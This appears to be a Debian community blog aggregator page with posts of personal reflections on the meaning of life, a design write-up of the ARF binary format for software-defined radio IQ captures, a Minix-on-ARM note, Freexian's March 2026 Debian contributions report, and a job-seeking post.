- Life to me is about living and loving, and doing it in a way that sustains. It’s the people who shape you, the work you get absorbed in, the quiet moments in between. There’s also the wanting, the drive to figure out what’s worth going after and how to get there, but that’s just one part of it, not the point of it. And none of it happens in a vacuum. I’m aware of the privileges that let me live this way, and I try to hold on to that gratitude. In the end, life has both a material and a non-material side, and a lot of what we do is chasing material things in an attempt to satisfy something non-material within us

- Mere liye (translation - for me) life is staying at my home and studying random economics papers. That’s when I enjoy myself the most.

- Very complicated
Some days I wish this life never ended and some time I feel it would be better if it stopped at that moment.
It all depends on the events that happen in the so called “life”.
So life to me is a string of events that happen anyway and you get to make some decisions which can turn it in any direction and then you wonder how did that happen.

- not forgetting to breathe, learn, eat, game, take a good shit, love, sleep.

- To be honest it changed with time! At 19 it was about freedom, wasn’t sure what freedom meant but i wanted that! To be free from everything, maybe because parents still controlled a part of my life. Then came 22-24 where i was working, trying to figure out what i want, the meaning changed from freedom to living for myself. To earn more, to be greedy about myself and pursue whatever would help me gain more steps in my career.
Came my mba life, switched my life from doing for myself to trying everything out to have no regrets. Life meaning was just about living with no regrets, invested, gambled, did everything to earn that tag of “yeah, have tried that”. Now it has all switched to, it was all just a fake facade. Life turned to having a meaningful life rather than finding meaning in what i am doing. Living for people around me, chhoti chhoti cheezo m khushi (translation - happiness in small things(?)) isn’t really a topic of conversation but more of happy thing for me. So it changed, and m quite happy to be honest. Life did show me a lot of failures, but was privileged enough to face those failures. Gained a lot of learnings if not money😂
Hopeful for more learnings and change meaning of life with time

- A task.

- You have different answers at different times You learn different meanings at different times When you are studying, basically it is about job, finding a partner then it becomes, house, car other things based on your income in between, there can be passion too
Free Software was a passion, electoral politics too, but both kind of faded and I want cooperative and user driven development now (prav - something that motivates me every day) and these days learning Chinese and watching Cdrama takes a huge part of my leisure time it is heavily subjective and also influences by previous experiences people around you, how much influence they have on you
it also depends on if they had to struggle in their life or not, for some life did not give much troubles and trouble itself can be relative people who never had to struggle may find even smallest challenges as troubles like if you own a car, your worry is finding a parking slot

- I am too young to think about lyfe

- A ticket to see the show on earth, I guess 😀
I guess life is different depending on the mood. It is a very broad question.
(Me - What is it in this present mood?)
Learning stuff (like I am learning a new language) and being happy but also to regulate emotions in a world where being optimistic is getting harder each day.
Life is also having a unique set of glasses you wear. Both in terms of looking from your eyeballs and your psychological perspective. Both are unique and cannot be replicated.
It is interesting what people on their deathbed think of life. If I know I am dying, my perspective would change a whole lot.
Life is finishing reading books while we are alive 😉
Life is sleeping after a good XMPP chat 😉

- Dukh dard peeda (translation - surrow pain suffering)

- uhh to word it? life is just like a journey from A to somewhere and its all about what paths you take and what line you get on to me, just a series of short adventures that all connect to a larger sequence until you can’t have any more adventures-
(Me - eee, THE END. drop dead, like a coin)
yeaaaah- I am not really for spirituality of an afterlife, to me life just ends at some point, after which point there fails to remain a discernable you, and some X time after which, you will be last remembered, try to make that last time a good one I guess?
(Me - no soul?)
uhhh not in the way most people think of it i guess?
theres just a lot of yous, theres the physical you, there is the idea of you, there is the expectation of you, and one of the undefinable you I would label as the soul maybe? like the part thats not physically you, but also certainly you
(Me - can’t say I understood part, but I get you in this sense)
mhm- well its about just questioning who you are more so questioning what life is-, I have sadly spent way too much time trying to figure that out

- Making the best of the time you have

- living a full range of experiences and embracing the good ones, seeing all that the world has to offer. In the end we were always just stardust. Might as well enjoy it when we are stardust with a consciousness of our own.

- For some reason or the Universe’s /dev/random I was born here as a biological being, and from my experience I understood living is hard and the best way to live is by embracing it. Loving everyone and everything around you. Be happy and joyful until you naturally say good bye to this world.

- Life is being fucked by everything and you just have to figure out and try to stick to the things worth being fucked for

Note: Following was transcribed from a audio message.

- There are five conditions to become a life to survive in the environment. I think there’s five conditions by the biological definitions and reproduction is one of the factor virus is not considered a life form because it cannot reproduce on its own but technically it’s kind of a life because it reproduces using the DNA ability this is the biological definition. Do you want a philosophical definition?
My definition is kind of the same except that you get life experiences along with it as a human. Extra benefits is that you are not an NPC. All other organisms are NPCs. But humans can interpret the world and change it to their liking. That is life in the case of a human. But then many humans are mostly NPCs. But they still can change the life. Okay, fuck this. Where is this even going?
A human is an exception in the case of life, because human is not an NPC. Human can interrupt the world, human can change it to its liking, which is why we are such a successful organism on this planet. That is life to me. That’s a human. But all of this is kind of meaningless, because the biological impurity of a human being still exists, so you still have the urges to reproduce, which kind of makes it like just another organism. But then, humans are yet to evolve to overcome that biological imperative.

I’m grateful for all the replies, outlooks, and subsequent conversations I got to have after this question with everyone. After all, it was a deeply personal question. It does fit in nicely with my definition of life:
“Life is all about experiences and all the transient relationships one gets to have with folks we meet on the way.”

16 April, 2026 05:59PM by Sahil Dhiman

April 15, 2026

hackergotchi for Paul Tagliamonte

Paul Tagliamonte

designing arf, an sdr iq encoding format 🐶

Interested in future updates? Follow me on mastodon at @paul@soylent.green. Posts about hz.tools will be tagged #hztools.

🐶 Want to jump right to the draft? I'll be maintaining ARF going forward at /draft-tagliamonte-arf-00.txt.

It’s true – processing data from software defined radios can be a bit complex 👈😏👈 – which tends to keep all but the most grizzled experts and bravest souls from playing with it. While I wouldn’t describe myself as either, I will say that I’ve stuck with it for longer than most would have expected of me. One of the biggest takeaways I have from my adventures with software defined radio is that there’s a lot of cool crossover opportunity between RF and nearly every other field of engineering.

Fairly early on, I decided on a very light metadata scheme to track SDR captures, called rfcap. rfcap has withstood my test of time, and I can go back to even my earliest captures and still make sense of what they are – IQ format, capture frequencies, sample rates, etc. A huge part of this was the simplicity of the scheme (fixed-lengh header, byte-aligned to supported capture formats), which made it roughly as easy to work with as a raw file of IQ samples.

However, rfcap has a number of downsides. It’s only a single, fixed-length header. If the frequency of operation changed during the capture, that change is not represented in the capture information. It’s not possible to easily represent mulit-channel coherent IQ streams, and additional metadata is condemned to adjacent text files.

ARF (Archive of RF)

A few years ago, I needed to finally solve some of these shortcomings and tried to see if a new format would stick. I sat down and wrote out my design goals before I started figuring out what it looked like.

First, whatever I come up with must be capable of being streamed and processed while being streamed. This includes streaming across the network or merely written to disk as it’s being created. No post-processing required. This is mostly an artifact of how I’ve built all my tools and how I intereact with my SDRs. I use them extensively over the network (both locally, as well as remotely by friends across my wider lan). This decision sometimes even prompts me to do some crazy things from time to time.

I need actual, real support for multiple IQ channels from my multi-channel SDRs (Ettus, Kerberos/Kracken SDR, etc) for playing with things like beamforming. My new format must be capable of storing multiple streams in a single capture file, rather than a pile of files in a directory (and hope they’re aligned).

Finally, metadata must be capable of being stored in-band. The initial set of metadata I needed to formalize in-stream were Frequency Changes and Discontinuities. Since then, ARF has grown a few more.

After getting all that down, I opted to start at what I thought the simplest container would look like, TLV (tag-length-value) encoded packets. This is a fairly well trodden path, and used by a bunch of existing protocols we all know and love. Each ARF file (or stream) was a set of encoded “packets” (sometimes called data units in other specs). This means that unknown packet types may be skipped (since the length is included) and additional data can be added after the existing fields without breaking existing decoders.

tag
flags
length
value
Heads up! Once this is posted, I'm not super likely to update this page. Once this goes out, the latest stable copy of the ARF spec is maintained at draft-tagliamonte-arf-00.txt. This page may quickly become out of date, so if you're actually interested in implementing this, I've put a lot of effort into making the draft comprehensive, and I plan to maintain it as I edit the format.

Unlike a “traditional” TLV structure, I opted to add “flags” to the top-level packet. This gives me a bit of wiggle room down the line, and gives me a feature that I like from ASN.1 – a “critical” bit. The critical bit indicates that the packet must be understood fully by implementers, which allows future backward incompatible changes by marking a new packet type as critical. This would only really be done if something meaningfully changed the interpretation of the backwards compatible data to follow.

Flag Description
0x01Critical (tag must be understood)

Within each Packet is a tag field. This tag indicates how the contents of the value field should be interpreted.

Tag ID Description
0x01Header
0x02Stream Header
0x03Samples
0x04Frequency Change
0x05Timing
0x06Discontinuity
0x07Location
0xFEVendor Extension

In order to help with checking the basic parsing and encoding of this format, the following is an example packet which should parse without error.

 00, // tag (0; no subpacket is 0 yet)
 00, // flags (0; no flags)
 00, 00 // length (0; no data)
 // data would go here, but there is none

Additionally, throughout the rest of the subpackets, there are a few unique and shared datatypes. I document them all more clearly in the draft, but to quickly run through them here too:

UUID

This field represents a globally unique idenfifer, as defined by RFC 9562, as 16 raw bytes.

Frequency

Data encoded in a Frequency field is stored as microhz (1 Hz is stored as 1000000, 2 Hz is stored as 2000000) as an unsigned 64 bit integer. This has a minimum value of 0 Hz, and a maximum value of 18446744073709551615 uHz, or just above 18.4 THz. This is a bit of a tradeoff, but it’s a set of issues that I would gladly contend with rather than deal with the related issues with storing frequency data as a floating point value downstream. Not a huge factor, but as an aside, this is also how my current generation SDR processing code (sparky) stores Frequency data internally, which makes conversion between the two natural.

IQ samples

ARF supports IQ samples in a number of different formats. Part of the idea here is I want it to be easy for capturing programs to encode ARF for a specific radio without mandating a single iq format representation. For IQ types with a scalar value which takes more than a single byte, this is always paired with a Byte Order field, to indicate if the IQ scalar values are little or big endian.

ID Name Description
0x01f32interleaved 32 bit floating point scalar values
0x02i8 interleaved 8 bit signed integer scalar values
0x03i16interleaved 16 bit signed integer scalar values
0x04u8 interleaved 8 bit unsigned integer scalar values
0x05f64interleaved 64 bit floating point scalar values
0x06f16interleaved 16 bit floating point scalar values

Each ARF file must start with a specific Header packet. The header contains information about the ARF stream writ large to follow. Header packets are always marked as “critical”.

magic
flags
start
guid
site guid
#st

In order to help with checking the basic parsing and encoding of this format, the following is an example header subpacket (when encoded or decoded this will be found inside an ARF packet as described above) which should parse without error, with known values.

00, 00, 00, fa, de, dc, ab, 1e, // magic
00, 00, 00, 00, 00, 00, 00, 00, // flags
18, 27, a6, c0, b5, 3b, 06, 07, // start time (1740543127)

// guid (fb47f2f0-957f-4545-94b3-75bc4018dd4b)
fb, 47, f2, f0, 95, 7f, 45, 45,
94, b3, 75, bc, 40, 18, dd, 4b,

// site_id (ba07c5ce-352b-4b20-a8ac-782628e805ca)
ba, 07, c5, ce, 35, 2b, 4b, 20,
a8, ac, 78, 26, 28, e8, 05, ca

Stream Header

Immediately after the arf Header, some number of Stream Headers follow. There must be exactly the same number of Stream Header packets as are indicated by the num streams field of the Header. This has the nice effect of enabling clients to read all the stream headers without requiring buffering of “unread” packets from the stream.

id
flags
fmt
bo
rate
freq
guid
site

In order to help with checking the basic parsing and encoding of this format, the following is an example stream header subpacket (when encoded or decoded this will be found inside an ARF packet as described above) which should parse without error, with known values.

00, 01, // id (1)
00, 00, 00, 00, 00, 00, 00, 00, // flags
01, // format (float32)
01, // byte order (Little Endian)
00, 00, 01, d1, a9, 4a, 20, 00, // rate (2 MHz)
00, 00, 5a, f3, 10, 7a, 40, 00, // frequency (100 MHz)

// guid (7b98019d-694e-417a-8f18-167e2052be4d)
7b, 98, 01, 9d, 69, 4e, 41, 7a,
8f, 18, 16, 7e, 20, 52, be, 4d,

// site_id (98c98dc7-c3c6-47fe-bc05-05fb37b2e0db)
98, c9, 8d, c7, c3, c6, 47, fe,
bc, 05, 05, fb, 37, b2, e0, db,

Samples

Block of IQ samples in the format indicated by this stream’s format and byte_order field sent in the related Stream Header.

id
iq samples

In order to help with checking the basic parsing and encoding of this format, the following is an samples subpacket (when encoded or decoded this will be found inside an ARF packet as described above). The IQ values here are notional (and are either 2 8 bit samples, or 1 16 bit sample, depending on what the related Stream Header was).

01, // id
ab, cd, ab, cd, // iq samples

Frequency Change

The center frequency of the IQ stream has changed since the Stream Header or last Frequency Change has been sent. This is useful to capture IQ streams that are jumping around in frequency during the duration of the capture, rather than starting and stopping them.

id
frequency

In order to help with checking the basic parsing and encoding of this format, the following is a frequency change subpacket (when encoded or decoded this will be found inside an ARF packet as described above).

01, // id
00, 00, b5, e6, 20, f4, 80, 00 // frequency (200 MHz)

Discontinuity

Since the last Samples packet for this stream, samples have been dropped or not encoded to this stream. This can be used for a stream that has dropped samples for some reason, a large gap (radio was needed for something else), or communicating “iq snippits”.

id

In order to help with checking the basic parsing and encoding of this format, the following is a discontinuity subpacket (when encoded or decoded this will be found inside an ARF packet as described above).

01, // id

Location

Up-to-date location as of this moment of the IQ stream, usually from a GPS. This allows for in-band geospatial information to be marked in the IQ stream. This can be used for all sorts of things (detected IQ packet snippits aligned with a time and location or a survey of rf noise in an area)

flags
sys
lat
long
el
accuracy

The sys field indicates the Geodetic system to be used for the provided latitude, longitude and elevation fields. The full list of supported geodetic systems is currently just WGS84, but in case something meaningfully changes in the future, it’d be nice to migrate forward.

Unfortunately, being a bit of a coward here, the accuracy field is a bit of a cop-out. I’d really rather it be what we see out of kinematic state estimation tools like a kalman filter, or at minimum, some sort of ellipsoid. This is neither of those - it’s a perfect sphere of error where we pick the largest error in any direction and use that. Truthfully, I can’t be bothered to model this accurately, and I don’t want to contort myself into half-assing something I know I will half-ass just because I know better.

System Description
0x01 WGS84 - World Geodetic System 1984

In order to help with checking the basic parsing and encoding of this format, the following is a location subpacket (when encoded or decoded this will be found inside an ARF packet as described above).

00, 00, 00, 00, 00, 00, 00, 00, // flags
01, // system (wgs84)
3f, f3, be, 76, c8, b4, 39, 58, // latitude (1.234)
40, 02, c2, 8f, 5c, 28, f5, c3, // longitude (2.345)
40, 59, 00, 00, 00, 00, 00, 00, // elevation (100)
40, 24, 00, 00, 00, 00, 00, 00 // accuracy (10)

Vendor Extension

In addition to the fields I put in the spec, I expect that I may need custom packet types I can’t think of now. There’s all sorts of useful data that could be encoded into the stream, so I’d rather there be an officially sanctioned mechanism that allows future work on the spec without constraining myself.

Just an example, I’ve used a custom subpacket to create test vectors, the data is encoded into a Vendor Extension, followed by the IQ for the modulated packet. If the demodulated data and in-band original data don’t match, we’ve regressed. You could imagine in-band speech-to-text, antenna rotator azimuth information, or demodulated digital sideband data (like FM HDR data) too. Or even things I can’t even think of!

id
data

In order to help with checking the basic parsing and encoding of this format, the following is a vendor extension subpacket (when encoded or decoded this will be found inside an ARF packet as described above).

// extension id (b24305f6-ff73-4b7a-ae99-7a6b37a5d5cd)
b2, 43, 05, f6, ff, 73, 4b, 7a,
ae, 99, 7a, 6b, 37, a5, d5, cd,

// data (0x01, 0x02, 0x03, 0x04, 0x05)
01, 02, 03, 04, 05

Tradeoffs

The biggest tradeoff that I’m not entirely happy with is limiting the length of a packet to u16 – 65535 bytes. Given the u8 sample header, this limits us to 8191 32 bit sample pairs at a time. I wound up believing that the overhead in terms of additional packet framing is worth it – because always encoding 4 byte lengths felt like overkill, and a dynamic length scheme ballooned codepaths in the decoder that I was trying to keep as easy to change as possible as I worked with the format.

15 April, 2026 03:43PM

hackergotchi for Emmanuel Kasper

Emmanuel Kasper

Minix 3 on Beagle Board Black (ARM)

Connected via serial console. Does not have a package manager, web or ssh server, but can play tetris in the terminal (bsdgames in Debian have the same tetris version packaged).

asciicast

15 April, 2026 09:44AM by Manu

hackergotchi for Freexian Collaborators

Freexian Collaborators

Debian Contributions: Debusine projects in GSoC, Debian CI updates, Salsa CI maintenance and more! (by Anupa Ann Joseph)

Debian Contributions: 2026-03

Contributing to Debian is part of Freexian’s mission. This article covers the latest achievements of Freexian and their collaborators. All of this is made possible by organizations subscribing to our Long Term Support contracts and consulting services.

Debusine projects in Google’s Summer of Code

While Freexian initiated Debusine, and is investing a lot of resources in the project, we manage it as a true free software project that can and should have a broader community.

We always had documentation for new contributors and we aim to be reactive with them when they interact via the issue tracker or via merge requests. We decided to put those intentions under stress tests by proposing five projects for Google’s Summer of Code as part of Debian’s participation in that program.

Given that at least 11 candidates managed to get their merge request accepted in the last 30 days (interacting with the development team is part of the pre-requisites to apply to Google Summer of Code projects these days), the contributing experience must not be too bad. 🙂 If you want to try it out, we maintain a list of “quick fixes” that are accessible to newcomers. And as always, we welcome your feedback!

Debian CI: incus backend and upgrade to Bootstrap 5, by Antonio Terceiro

debci 3.14 was released on March 4th, with a followup 3.14.1 release with regression fixes a few days afterwards. Those releases were followed by new development and maintenance work that will provide extra capabilities and stability to the platform.

This month saw the initial version of an incus backend land in Debian CI. The transition into the new backend will be done carefully so as to not disrupt ‘testing’ migration. Each package will be running jobs with both the current lxc backend and with incus. Packages that have the same result on both backends will be migrated over, and packages that exhibit different results will be investigated further, resulting in bug reports and/or other communication with the maintainers.

On the frontend side, the code has been ported to Bootstrap 5 over from the now ancient Bootstrap 3. This need has been originally reported back in 2024 based on the lack of security support for Bootstrap 3. Beyond improving maintainability, this upgrade also enables support for dark mode in debci, which is still work in progress.

Both updates mentioned in this section will be available in a following debci release.

Salsa CI maintenance by Santiago Ruano Rincón et al.

Santiago reviewed some Salsa CI issues and reviewed associated merge requests. For example, he investigated a regression (#545), introduced by the move to sbuild, on the use of extra repositories configured as “.source” files; and reviewed the MR (!712) that fixes it.

Also, there were conflicts with changes made in debci 3.14 and debci 3.14.1 (those updates are mentioned above), and different people have contributed to fix the subsequent issues, in a long-term way. This includes Raphaël who proposed MR !707 and who also suggested Antonio to merge the Salsa CI patches to avoid similar errors in the future. This happened shortly after. Those fixes finally required the unrelated MR !709, which will prevent similar problems when building images.

To identify bugs related to the autopkgtest support in the backport suites as early as possible, Santiago proposed MR !708.

Finally, Santiago, in collaboration with Emmanuel Arias also had exchanges with GSoC candidates for the Salsa CI project, including the contributions they have made as merge requests. It is important to note that there are several very good candidates interested in participating. Thanks a lot to them for their work so far!

Miscellaneous contributions

  • Raphaël reported a zim bug affecting Debian Unstable users, which was already fixed in git apparently. He could thus cherry-pick the fix and update the package in Debian Unstable.
  • Carles created a new page on the InstallingDebianOn in Debian Wiki.
  • Carles submitted translation errors in the debian-installer Weblate.
  • Carles, using po-debconf-manager, improved Catalan translations: reviewed and submitted 3 packages. Also improved error handling when forking or submitting an MR if the fork already existed.
  • Carles kept improving check-relations: code base related general improvements (added strict typing, enabled pre-commit). Also added DebPorts support, virtual packages support and added commands for reporting missing relations and importing bugs from bugs.debian.org.
  • Antonio handled miscellaneous Salsa support requests.
  • Antonio improved the management of MiniDebConf websites by keeping all non-secret settings in git and fixed exporting these sites as static HTML.
  • Stefano uploaded routine updates to hatchling, python-mitogen, python-virtualenv, python-discovery, dh-python, pypy3, python-pipx, and git-filter-repo.
  • Faidon uploaded routine updates to crun, libmaxminddb, librdkafka, lowdown, platformdirs, python-discovery, sphinx-argparse-cli, tox, tox-uv.
  • Stefano and Santiago continued to help with DebConf 26 preparations.
  • Stefano reviewed some contributions to debian-reimbursements and handled admin for reimbursements.debian.net.
  • Stefano attended the Debian Technical Committee meeting.
  • Helmut sent 8 patches for cross build failures.
  • Building on the work of postmarketOS, Helmut managed to cross build systemd for musl in rebootstrap and sent several patches in the process.
  • Helmut reviewed several MRs of Johannes Schauer Marin Rodrigues expanding support for DPKG_ROOT to support installing hurd.
  • Helmut incorporated a final round of feedback for the Multi-Arch documentation in Debian policy, which finally made it into unstable together with documentation of Build-Profiles.
  • In order to fix python-memray, Helmut NMUed libunwind generally disabling C++ exception support as being an incompatible duplication of the gcc implementation. Unfortunately, that ended up breaking suricata on riscv64. After another NMU, python-memray finally migrated.
  • Thorsten uploaded new upstream versions of epson-inkjet-printer-escpr and sane-airscan. He also fixed a packaging bug in printer-driver-oki. As of systemd 260.1-1 the configuration of lpadmin has been added to the sysusers.d configuration. All printing packages can now simply depend on the systemd-sysusers package and don’t have to take care of its creation in maintainer scripts anymore.
  • In collaboration with Emmanuel Arias, Santiago had exchanges with GSoC candidates and reviewed the proposals of the Linux livepatching GSoC 2026 project.
  • Colin helped to fix CVE-2026-3497 in openssh and CVE-2026-28356 in multipart.
  • Colin upgraded tango and pytango to new upstream releases and packaged pybind11-stubgen (needed for pytango), thanks to a Freexian customer. Tests of reproducible builds revealed that pybind11-stubgen didn’t generate imports in a stable order; this is now fixed upstream.
  • Lucas fixed CVE-2025-67733 and CVE-2026-21863 affecting src:valkey in unstable and testing. Also reviewed the same fixes targeting stable proposed by Peter Wienemann.
  • Faidon worked with upstream and build-dep Debian maintainers on resolving blockers in order to bring pyHanko into Debian, starting with the adoption of python-pyhanko-certvalidator. pyHanko is a suite for signing and stamping PDF files, and one of the few libraries that can be leveraged to sign PDFs with eIDAS Qualified Electronic Signatures.
  • Anupa co-organized MiniDebConf Kanpur and attended the event with many others from all across India. She handled the accommodation arrangements along with the registration team members, worked on the budget and expenses. She was also a speaker at the event.
  • Lucas helped with content review/schedule for the MiniDebConf Campinas. Thanks Freexian for being a Gold sponsor!
  • Lucas organized and took part in a one-day in-person sprint to work on Ruby 3.4 transition. It was held in a coworking space in Brasilia - Brazil on April 6th. There were 5 DDs and they fixed multiple packages FTBFSing against Ruby 3.4 (coming to unstable soon hopefully). Lucas has been postponing a blog post about this sprint since then :-)

15 April, 2026 12:00AM by Anupa Ann Joseph

April 14, 2026

hackergotchi for Steinar H. Gunderson

Steinar H. Gunderson

Looking for work

It seems my own plans and life's plans diverged this spring, so I am in the market for a new job. So if you're looking for someone with a long track record making your code go brrr really fast, give me a ping (contact information at my homepage). Working from Oslo (on-site or remote), CV available upon request. No AI boosterism or cryptocurrency grifters, please :-)

14 April, 2026 04:44PM